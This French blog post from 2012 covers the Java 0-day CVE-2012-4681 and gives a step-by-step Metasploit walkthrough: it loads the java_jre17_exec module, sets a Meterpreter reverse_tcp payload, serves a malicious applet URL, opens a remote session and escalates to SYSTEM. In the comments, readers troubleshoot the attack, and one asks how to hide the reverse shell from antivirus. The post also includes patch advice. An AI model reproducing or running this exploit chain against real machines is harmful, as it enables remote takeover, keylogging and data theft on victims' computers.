Metasploit et la faille 0 Day Java CVE-2012-4681


Java
Une nouvelle faille de sécurité vient d'être découverte dans Java. Il s'agit d'un exploit 0day, qui permet à une personne malveillante de se connecter à une machine distante.  Les navigateurs Internet Explorer, Chrome et Firefox (tous systèmes d'exploitation confondus, c'est-à-dire Windows, Linux, Mac...) utilisant Java en version JRE 1.7 update 6 sont concernés par le problème.

Intrusion de virus

D'après une première analyse d'Atif Mushtaq, l'exploit aurait fait sa première apparition sur un serveur chinois, le 26 août 2012. Et visiblement, ce n'est qu'une question de temps avant que d'autres personnes ne reprennent ses principes de base et se mettent à coder des variantes, dans le but de réaliser des attaques de plus grandes ampleurs.

Atif Mushtaq se demande également combien de temps il va falloir à Oracle pour proposer un patch, alors que nous sommes en plein mois d'août.

En attendant, voici un exemple d'utilisation de cette faille avec Metasploit, en prenant pour cible une machine Windows :

$ svn up
$ ./msfconsole
msf > use exploit/multi/browser/java_jre17_exec
msf > info
msf > set SRVHOST 192.168.1.100
msf > set SRVPORT 80
msf > set URIPATH /foo
msf > show targets

Exploit targets:

Id  Name
--  ----
0   Generic (Java Payload)
1   Windows Universal
2   Linux x86

msf > set TARGET 1
msf > show payloads
msf > set PAYLOAD windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.1.100
msf > exploit

[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.100:4444
[*] Using URL: http://192.168.1.100:80/foo
[*] Server started.

Ensuite, il ne reste plus qu'à attendre qu'une personne se connecte au serveur infecté (http://192.168.1.100:80/foo), lancé précédemment avec Metasploit :

[*] 192.168.1.100  java_jre17_exec - Java 7 Applet Remote Code Execution handling request
[*] 192.168.1.100  java_jre17_exec - Sending Applet.jar
[*] 192.168.1.100  java_jre17_exec - Sending Applet.jar
[*] Sending stage (752128 bytes) to 192.168.1.100
[*] Meterpreter session 2 opened (192.168.1.100:4444 -> 192.168.1.101:56567) at Mon Aug 27 18:13:08

On ouvre une session à distance :

msf > sessions -i 2
[*] Starting interaction with 2...

On passe administrateur sur le poste Windows :

meterpreter > getsystem
...got system (via technique 1).

On récupère quelques infos :

meterpreter > sysinfo
Architecture    : x86
Computer        : xblade
System Language : fr_FR
OS              : Windows XP (Build 2600, Service Pack 3).
Meterpreter     : x86/win32

A ce stade là, on peut faire ce que l'on veut sur le système (capture d'écran, mise en place d'un keylogger...). Pour corriger cette faille, vous devez mettre à jour Java sur votre machine (quand les majs seront disponibles bien entendu).

Edit : Oracle vient de mettre en ligne une mise à jour (JDK et JRE 7 update 7). Soit 5 jours après la découverte de la faille.


10 Commentaires pour "Metasploit et la faille 0 Day Java CVE-2012-4681"

Flux des commentaires de cet article Ajouter un commentaire
  •  

    salut Seb j'espère que tu à passer de bonnes vacances sinon lors de la commande:

    msf > exploit

    j'obtiens l'erreur:

    msf exploit(java_jre17_exec) > exploit
    [-] Exploit failed: windows/meterpreter/reverse_tcp is not a compatible payload.
    msf exploit(java_jre17_exec) >

    RépondreRépondre
    sl33k , le 27 août 2012 à 20:25
  •  

    edit: enfaite sous linux faut faire:

    set PAYLOAD linux/x86/meterpreter/reverse_tcp

    RépondreRépondre
    sl33k , le 27 août 2012 à 20:34
  •  

    Merci pour cet article, j'ai essayé de faire un teste avec Metasploit windows mais je n'arrive pas a trouvé le module java_jre17_exec.

    J'obtiens cette erreur: Failed to load module: exploit/multi/browser/java_jre17_exec

    Si c'est possible, j’aimerais savoir comment effectuer une mise à jour de Metasploit sous windows.

    Merci :)

    RépondreRépondre
    Ahmed , le 27 août 2012 à 20:37
  •  

    ou on trouve le numéro de la session? pour la commande?

    car j'obtiens:

    sessions -i getsystem
    [-] Invalid session id

    Merci

    RépondreRépondre
    sl33k , le 27 août 2012 à 22:22
  •  

    @sl33k : yep, en faite, tu charges le payload en fonction de l'OS que tu attaques. En effet, les shellcodes ne s'écrivent pas de la même façon si tu attaques un Windows ou un Linux.

    @sl33k : sinon, pour le numéro de session, il apparait dans metaspploit quand quelqu'un se connecte au serveur infecté. Exemple :

    [*] Meterpreter session 2 opened (192.168.1.100:4444 -> 192.168.1.101:56567) at Mon Aug 27 18:13:08

    Ici il s'agit de la session n°2. Dans ton cas, c'est peut-être la session 1, car moi j'avais fais un test inutile avant.

    @Ahmed : aucune idée. Dans mon exemple ci-dessus, je suis parti de la version subversion, c'est donc la version la plus à jour. Le module Metasploit pour cette faille étant sortie aujourd'hui, le passage par SVN est quasi obligatoire.

    RépondreRépondre
    pti-seb , le 27 août 2012 à 22:26
  •  

    hello,

    merci pour la news, une manière de ne pas se faire détecter le reverse_shelle par l'antivirus ? j'ai beau fouiller sur le net (encoding, génération d'un exe d'applications par défaut) mais je ne vois pas comment ne pas se faire détecter le reverse shell, merci par avance.

    RépondreRépondre
    noob , le 28 août 2012 à 00:36
  •  

    @noob : pour moi, il faut un firewall qui analyse le trafic sortant, pour détecter un reverse shell.

    RépondreRépondre
    pti-seb , le 28 août 2012 à 09:08
  •  

    Merci pti-seb ta réponse, en fait j'ai trouvé la solution.
    Pour les intéressés : il faut lancer la console Metasploit, après cliquer sur File -> New Tab -> Développement - Metasploit Update.

    RépondreRépondre
    Ahmed , le 28 août 2012 à 15:40
  •  

    @Ahmed : metasploit pas à jour je pense // msfupdate oblige ou si le payload n'est toujours pas la ... et bien technique Mc Gyver

    RépondreRépondre
    Anonyme , le 28 août 2012 à 20:53
  •  

    slt j'ai suivie ces étapte a la lettre mais lorsqu je lance exploit j'ai u msg qui dit " Exploit failed: Rex::AddressInUse The address is already in use (192.168.1.6:80)."
    j'utilise backtrack 5 r3 j'ai fait tous les mise a jour nécissaire je suis sous virtual box une idée pour régler ce probleme ? (l'ip que j'ai indiquer si celle de ma backtrack sous vbox )
    merci

    RépondreRépondre
    pathboot , le 12 avril 2013 à 12:05
 

Ajouter un commentaire

actualité android apache apple astuce astuces bash bilboblog blog boot chrome clavier commande commandes conky date debian Desktop développement elementary exploit faille fedora firefox flash gimp gnome google graphique Graphisme hack hacking Hardware humour intel internet iphone jailbreak Jeux Kde kernel libre Linux log logiciels Logiciels Libres lucid lynx maemo mail maquette metasploit microsoft mobile mockup monitoring mozilla multi-touch musique mysql n900 nautilus nokia noyau openoffice open source password photos php Planet publicité red hat redhat rpm réseau screenshot script serveur serveurs shell sql ssh statistiques sysadmin system Sécurité thème tux-planet tv twitter ubuntu unity vidéo vidéos vlc voyage wallpaper windows wordpress yum